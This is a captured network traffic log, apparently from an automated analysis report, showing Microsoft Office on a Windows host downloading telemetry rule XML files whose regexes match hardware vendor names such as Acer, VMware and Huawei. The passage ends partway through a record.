2024-11-02 06:15:57 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:57 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 2e3917f7-a01e-0053-4b5c-2c8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061557Z-r159446fcd7rrql5hC1DFWp150000000016000000000cqm5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:57 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	63732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:58 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:58 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:58 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 6df06080-e01e-001f-1d30-2c1633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061558Z-176bd8f9bc598x8vhC1DFWq73s00000001xg000000008fqf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-02 06:15:58 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	63733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:58 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:58 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 12fa9963-101e-000b-2608-2c5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061558Z-16dc884887bvg6x5hC1DFW86ag00000001qg000000004yr4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:58 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	63735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:58 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:58 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:58 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 634471bf-901e-0016-1230-2cefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061558Z-16ccfc49897w6rdhhC1DFWb10w00000001pg0000000074y0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:58 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	63734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:58 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:58 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: c6ea79c0-701e-0050-6324-2c6767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061558Z-176bd8f9bc5fvjnbhC1DFW9ez800000001kg00000000abcu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:58 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	63736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:58 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:58 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 138356e5-101e-0046-15fe-2b91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061558Z-176bd8f9bc5pzj8phC1DFWsz3000000001r0000000003ddx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:58 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	63738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:59 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:59 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 8644ae90-c01e-00a1-60bf-2b7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061559Z-16dc884887bj94q5hC1DFW11e400000001mg000000004mvh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:59 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	63737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:59 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:59 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:59 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 406e0a0b-a01e-0084-59cd-2b9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061559Z-16ccfc4989782hnrhC1DFW2nks00000000tg000000008xck x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:59 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	63739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:59 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:59 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:59 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 2b2f5229-601e-003e-5308-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061559Z-16ccfc49897w6rdhhC1DFWb10w00000001m000000000es1e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:59 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	63740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:59 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:59 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 4632b172-e01e-0071-11da-2b08e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061559Z-16dc884887b5dxtghC1DFW9q7c00000001vg00000000123b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:59 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	63741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:59 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:59 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:59 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 9b24d4d0-601e-0032-3e08-2ceebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061559Z-16ccfc49897xnlwfhC1DFWz50s00000001t000000000493u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:59 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	63743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:00 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 396bdd21-c01e-0034-5008-2c2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061600Z-176bd8f9bc5dfnrlhC1DFW9ueg00000001y0000000009b03 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S 